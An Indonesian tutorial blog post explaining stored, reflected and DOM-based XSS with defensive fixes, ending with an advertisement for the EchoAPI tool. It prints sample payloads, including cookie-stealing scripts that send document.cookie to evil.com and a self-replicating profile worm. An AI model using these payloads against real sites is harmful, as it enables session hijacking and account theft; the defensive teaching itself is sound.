Serangan XSS: Bagaimana Peretas Mengubah Situs Web Anda Menjadi Bencana & Cara Melindungi Diri

Cross-Site Scripting (XSS) adalah salah satu kerentanan keamanan web paling berbahaya. Dengan XSS, peretas bisa mencuri data, membajak sesi pengguna, hingga menyebarkan malware. Panduan ini akan membahas jenis-jenis serangan XSS dengan contoh nyata, serta cara efektif untuk mencegahnya.

Serangan Cross-Site Scripting (XSS) adalah kerentanan keamanan web yang memungkinkan peretas menyuntikkan skrip berbahaya ke situs web Anda. Skrip ini dapat:

  • Mencuri data pengguna (seperti cookie sesi dan kredensial login)
  • Memodifikasi konten halaman web (mengubah situs Anda menjadi ladang permainan peretas)
  • Mengalihkan pengguna ke situs phishing yang berbahaya
  • Menyebarluaskan malware dan worm yang dapat mereplikasi diri

XSS berbahaya karena tidak menyerang server secara langsung—sebaliknya, ia menipu browser pengguna untuk mengeksekusi kode berbahaya.

Bayangkan XSS sebagai peretas yang tidak terlihat yang menyerukan instruksi buruk ke situs web Anda, tanpa server Anda menyadarinya!

Serangan XSS

Mari kita telusuri tiga jenis serangan XSS dengan contoh nyata, sehingga Anda dapat melihat betapa licik dan destruktif serangan tersebut.

Serangan #1: Mantra Komentar Jahat (XSS Tersimpan)

Langkah 1: Kerentanan – Menyimpan Input Pengguna Tanpa Penyaringan

Forum permainan Anda mengizinkan pengguna mengirim komentar yang disimpan dalam basis data. Ketika menampilkan komentar, forum memasukkannya ke halaman web tanpa sanitasi:

<div id="comments">
  <!-- Komentar dari pengguna muncul di sini -->
  <p>${userComment}</p>
</div>

Apa yang salah di sini?

  • Jika pengguna mengirim komentar seperti "Halo, strategi bagus!", semuanya berfungsi dengan baik.
  • Tapi jika mereka mengirim <script>alert('Anda telah diretas!');</script>, browser mengeksekusi skrip tersebut sebagai kode.

Langkah 2: Serangan – Menyimpan dan Menjalankan Skrip Berbahaya

Peretas bernama DarkShadow99 mengirim komentar ini:

<script>alert('Anda telah diretas!');</script>

Apa yang Terjadi Selanjutnya?

  1. Forum menyimpan komentar ini ke basis data sebagai HTML mentah.
  2. Ketika pengguna lain mengunjungi halaman, browser mereka merender komentar ini sebagai skrip yang sebenarnya.
  3. Skrip dijalankan, menyebabkan kotak peringatan muncul setiap kali seseorang melihat halaman yang terinfeksi.

Tapi ini belum selesai... Sebaliknya dari peringatan, peretas dapat mencuri data pengguna!

Langkah 3: Serangan Lebih Berbahaya – Pembajakan Sesi

Sebaliknya dari peringatan, peretas mengirim komentar ini:

<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

Apa yang Terjadi Sekarang?

  1. Pengguna yang terinfeksi mengunjungi halaman yang terinfeksi sambil masuk.
  2. Skrip berjalan secara otomatis di browser mereka.
  3. document.cookie mengambil token sesi pengguna.
  4. Skrip mengirim token sesi ini ke server peretas (evil.com).
  5. Peretas menggunakan cookie yang dicuri untuk masuk sebagai korban—tanpa kata sandi!

Hasilnya: Peretas dapat membajak akun, melakukan pembelian, atau mengaku sebagai pengguna!

Bagaimana Cara Menghindarinya?

1. Sanitasi Input Pengguna Sebelum Menyimpan

Sebelum menyimpan komentar di basis data, hapus atau lakukan escape karakter berbahaya.

Contoh: Sanitasi Komentar yang Aman (Node.js + Express)

const sanitizeHtml = require('sanitize-html');

app.post('/comment', (req, res) => {
  const safeComment = sanitizeHtml(req.body.comment, {
    allowedTags: [], // Tidak ada HTML yang diizinkan!
    allowedAttributes: {}
  });
  saveToDatabase(safeComment);
});

Sekarang, jika peretas mengirim <script>...</script>, itu dihapus!

2. Encode Output Sebelum Ditampilkan

Meskipun basis data Anda mengandung input berbahaya, pastikan ditampilkan sebagai teks, bukan dieksekusi sebagai kode.

Contoh: Menghindari Output (EJS, Handlebars, React, dll.)

<p><%= escapeHtml(userComment) %></p>

Atau di React (menghindari secara otomatis):

<p>{userComment}</p> 

Sekarang <script> ditampilkan sebagai teks, bukan dieksekusi!

3. Implementasikan Kebijakan Keamanan Konten (CSP)

CSP mencegah skrip inline dari berjalan, bahkan jika mereka masuk ke halaman.

Contoh: Header CSP yang Aman

Content-Security-Policy: default-src 'self'; script-src 'none'

Ini menghentikan JavaScript yang disuntikkan dari dieksekusi!

Serangan #2: Perangkap Phishing (XSS Reflektif)

Bank Anda (trustworthybank.com) memiliki fitur "Lupa Kata Sandi" yang memungkinkan pengguna memasukkan email mereka untuk menerima tautan reset. Permintaan terlihat seperti ini:

GET /reset-password?email=your@email.com

Langkah 1: Pengaturan

Peretas membuat tautan seperti ini:

https://trustworthybank.com/reset-password?email=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

Apa yang terjadi di sini?

  • Peretas menyisipkan tag <script> di dalam parameter email.
  • Skrip menjalankan fetch('https://evil.com/steal?cookie='+document.cookie), yang mencuri cookie korban dan mengirimkannya ke evil.com.

Langkah 2: Korban Mengklik Tautan Berbahaya

Peretas mengirim tautan ini melalui:
Email ("Klik di sini untuk mereset kata sandi Anda!")
Media Sosial ("Anda telah memenangkan hadiah! Klaim sekarang.")
Situs Phishing ("Akun Anda perlu diverifikasi.")

Jika korban mengklik tautan ini sambil masuk ke akun bank mereka, permintaan dikirim dengan cookie otentikasi mereka.

Langkah 3: Server Merefleksikan Skrip Berbahaya

Jika trustworthybank.com tidak menyaring input pengguna dengan benar, ia akan memasukkan skrip peretas ke dalam respons HTML tanpa mengenkodinya.

Respons Server yang Rentan:

<p>Reset kata sandi Anda untuk email: <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script></p>

Karena browser mengeksekusi JavaScript yang ditemukan dalam respons, skrip ini segera berjalan di browser korban.

Setelah korban memuat halaman, browser mereka melihat skrip dan mengeksekusinya.

Apa yang Terjadi Selanjutnya?

  1. document.cookie mengambil cookie sesi korban (yang mungkin termasuk token login).
  2. fetch('https://evil.com/steal?cookie='+document.cookie) mengirim cookie yang dicuri ke server peretas.
  3. Peretas dapat menggunakan cookie sesi korban untuk masuk sebagai mereka (pembajakan sesi).

Jika situs tidak menggunakan cookie HttpOnly, peretas dapat membaca dan mencuri token sesi!

Bagaimana Cara Menghindarinya?

Untuk menghentikan serangan ini, situs web harus mengimplementasikan beberapa langkah keamanan:

1. Menghindari dan Menyaring Input Pengguna

Server tidak boleh merender input pengguna mentah. Sebaliknya, ia harus mengenkripsi karakter seperti < > " ' & untuk mencegah eksekusi skrip.

Output yang Aman (HTML yang Dihindari):

<p>Reset kata sandi Anda untuk email: &lt;script&gt;fetch('https://evil.com/steal?cookie='+document.cookie)&lt;/script&gt;</p>

Sekarang, browser menampilkan skrip sebagai teks bukan mengeksekusinya.

2. Implementasikan Kebijakan Keamanan Konten (CSP)

CSP dapat memblokir eksekusi JavaScript inline, mencegah XSS.
Contoh header yang aman

Content-Security-Policy: default-src 'self'; script-src 'none'

Ini mencegah tag <script> dari berjalan, bahkan jika disuntikkan!

Cookie harus tidak dapat diakses oleh JavaScript untuk mencegah pencurian.
Setel cookie dengan HttpOnly:

Set-Cookie: sessionID=abc123; HttpOnly; Secure; SameSite=Strict

Ini mencegah JavaScript mengakses document.cookie!

4. Validasi dan Enkode Parameter URL

Backend harus menolak atau mengenkripsi input berbahaya di URL.
Contoh Enkode URL yang Aman:
Sebelum dimasukkan ke halaman, enkode email:

https://trustworthybank.com/reset-password?email=alice%40mail.com

Ini mencegah tag <script> dari dieksekusi.

Serangan #3: Manipulasi DOM yang Tidak Aman

Situs media sosial mengizinkan pengguna untuk menetapkan bio, yang kemudian dimasukkan ke halaman secara dinamis menggunakan innerHTML:

document.getElementById('bio').innerHTML = userBio;

Apa yang salah di sini?

  • innerHTML menginterpretasikan HTML sebagai kode yang sebenarnya, yang berarti jika pengguna menetapkan bio mereka ke tag <script>, browser mengeksekusi skrip tersebut.
  • Tidak ada sanitasi atau enkode, sehingga peretas dapat menyuntikkan JavaScript yang berjalan ketika seseorang melihat profil mereka.

Langkah 1: Serangan – Cacing XSS yang Menyebar Sendiri

Peretas menetapkan bio profil mereka ke payload berbahaya ini:

<script>
  fetch('/update-bio', {
    method: 'POST',
    body: '<script>fetch("/update-bio", {method: "POST", body: this.innerHTML})</script>'
  });
</script>

Langkah 2: Korban Melihat Profil Peretas

Korban melihat profil peretas dan browser mereka melihat bio dan mengeksekusi skrip di dalam <script>...</script>.

Skrip kemudian mengirim permintaan untuk memperbarui bio korban.
Ini mengirim bio baru yang mengandung skrip yang sama, secara efektif menyalin dirinya sendiri ke dalam bio korban.

Langkah 3: Korban Terinfeksi

Setiap kali pengguna lain mengunjungi profil korban, mereka juga terinfeksi!
Ini menyebar dengan cepat ke ribuan pengguna dalam hitungan menit.

Seluruh situs media sosial terkompromi saat pengguna terus saling menginfeksi!

Bagaimana Cara Menghindarinya?

1. Pendekatan yang Aman (Mencegah XSS)

document.getElementById("bio").innerHTML = userBio;

Masalahnya: innerHTML menginterpretasikan teks sebagai HTML dan mengeksekusinya, memungkinkan injeksi JavaScript.

document.getElementById("bio").textContent = userBio;

Solusi: textContent menganggap input sebagai teks biasa, sehingga tag <script> ditampilkan sebagai teks, bukan dijalankan sebagai kode.

2. Langkah Keamanan Tambahan

1. Enkode & Sanitasi Input Pengguna:
  • Enkode karakter khusus seperti < dan > sebelum memasukkannya ke dalam DOM.
  • Gunakan perpustakaan seperti DOMPurify untuk membersihkan input pengguna dengan aman.
2. Gunakan Kebijakan Keamanan Konten (CSP):
  • Ini mencegah skrip yang disuntikkan dari berjalan, bahkan jika dimasukkan melalui innerHTML.

Blokir skrip inline dengan header CSP:

Content-Security-Policy: default-src 'self'; script-src 'none'
  • Peretas sering menggunakan XSS untuk mencuri cookie sesi.
  • Tetapkan cookie sesi sebagai HttpOnly, sehingga tidak dapat diakses oleh JavaScript.

Serangan XSS Terkenal dalam Sejarah

1️⃣ Cacing XSS MySpace (2005) – Virus Penyebaran Tercepat Sepanjang Masa

Pengguna bernama Samy Kamkar mengekploitasi MySpace dengan menyuntikkan skrip XSS yang dapat mereplikasi diri ke bagian "Tentang Saya" profilnya.

✅ Setiap kali seseorang melihat profilnya, skrip tersebut akan:

  • Menambahkannya sebagai teman teratas
  • Menyalin dirinya sendiri ke profil mereka, menyebar secara otomatis

Dalam 24 jam, lebih dari 1 juta profil terinfeksi, dan MySpace harus ditutup sementara.

2️⃣ Serangan British Airways (2018) – XSS Mencuri Kartu Kredit

Peretas menyuntikkan skrip berbahaya ke situs web British Airways, mencuri detail pembayaran 380.000 pelanggan secara real-time.

Skrip secara diam-diam mengirim data kartu kredit ke server eksternal saat pengguna memasukkannya.

British Airways denda sebesar $230 juta karena gagal mengamankan situs mereka.

Laboratorium Pengujian XSS Interaktif

Ingin melihat bagaimana XSS bekerja secara langsung? Coba alat pengujian interaktif ini yang aman dan mendidik:

  1. XSS Game (Oleh Google)https://xss-game.appspot.com
    Selesaikan teka-teki peretasan untuk mempelajari berbagai kerentanan XSS.
  2. PortSwigger XSS Labshttps://portswigger.net/web-security/cross-site-scripting
    Laboratorium praktis untuk menguji berbagai vektor serangan XSS.
  3. OWASP Juice Shophttps://owasp.org/www-project-juice-shop/
    Aplikasi web yang rentan di mana Anda dapat berlatih hacking etis.

Bagaimana EchoAPI Membantu Mencegah Serangan XSS

Bagaimana EchoAPI Membantu Mencegah Serangan XSS

EchoAPI bukan hanya alat pengujian API—melainkan teman keamanan yang membantu pengembang.

Dengan dukungan untuk berbagai protokol komunikasi (HTTP, WebSocket, GraphQL, dll.) dan mekanisme otentikasi bawaan, EchoAPI memudahkan pengidentifikasian dan perbaikan kerentanan XSS sebelum dieksploitasi oleh peretas.

Keuntungan EchoAPI:

  • Solusi API Semua-dalam-Satu → Desain, uji, debug, integrasi CI/CD, layanan palsu, pengujian stres, dan dokumentasi mulus—semuanya dalam satu tempat.
  • Tidak Perlu Login → Akses dan gunakan tanpa pengaturan akun—langsung mulai bekerja!
  • Impor Berbasis AI → Konversi dokumen API menjadi antarmuka yang dapat diambil tindakan dengan alat pengenalan cerdas.
  • Lebih Banyak Fitur AI Akan Segera Hadir!
  • Plugin Gratis → Kompatibel dengan IntelliJ IDEA, VS Code, Cursor, dan Chrome—tanpa biaya tambahan.
  • Dukungan Offline → Bekerja kapan saja, di mana saja—tidak memerlukan internet.
  • Protokol Komunikasi Berganda → Mendukung HTTP, GraphQL, WebSocket, TCP, SSE, dan lainnya.
  • Otentikasi Pintar → Dukungan bawaan untuk OAuth 2.0, JWT Bearer, Tanda Tangan AWS, Basic Auth, Autentikasi Hawk, dan lainnya.
  • Kompatibilitas Antar-Alat → Impor/ekspor proyek dari Postman, Swagger, dan Insomnia dengan mudah.
  • Kolaborasi Tim yang Mudah → Bekerja secara real-time, sinkronkan data secara instan, dan bagikan kemajuan secara mulus.
Kerja Offline? Berbeda dengan Postman, EchoAPI Tidak Memerlukan Akses Internet yang Berkelanjutan
Namun, seiring dengan perkembangan Postman, ketergantungannya pada koneksi internet yang terus menerus juga meningkat, sehingga mengurangi kemampuan offline-nya secara drastis.

Panduan Pertahanan Ultimate Terhadap XSS

Untuk melindungi situs Anda dari serangan XSS, ikuti praktik keamanan emas ini:
Gunakan EchoAPI untuk mendesain API Anda
Sanitasi SEMUA input pengguna sebelum menyimpan atau menampilkan.
Gunakan Content-Security-Policy (CSP) untuk memblokir skrip inline.
Enkode karakter khusus sebelum memasukkannya ke dalam HTML (<script>&lt;script&gt;).
Gunakan cookie HttpOnly sehingga skrip tidak dapat mencuri token otentikasi.
Hindari innerHTML—gunakan .textContent sebagai gantinya.
Perbarui perangkat lunak Anda secara teratur—peretas menyukai sistem yang ketinggalan zaman!

Akhir: Jadilah Pembela, Bukan Korban!

XSS adalah salah satu kerentanan web yang paling umum dan paling berbahaya—tetapi dengan praktik keamanan yang tepat, Anda dapat menguatkan situs web Anda terhadap serangan yang tidak terlihat ini.

Tetap aman, jaga kode Anda tetap bersih, dan jangan pernah percaya input pengguna secara buta. Selamat mengkode!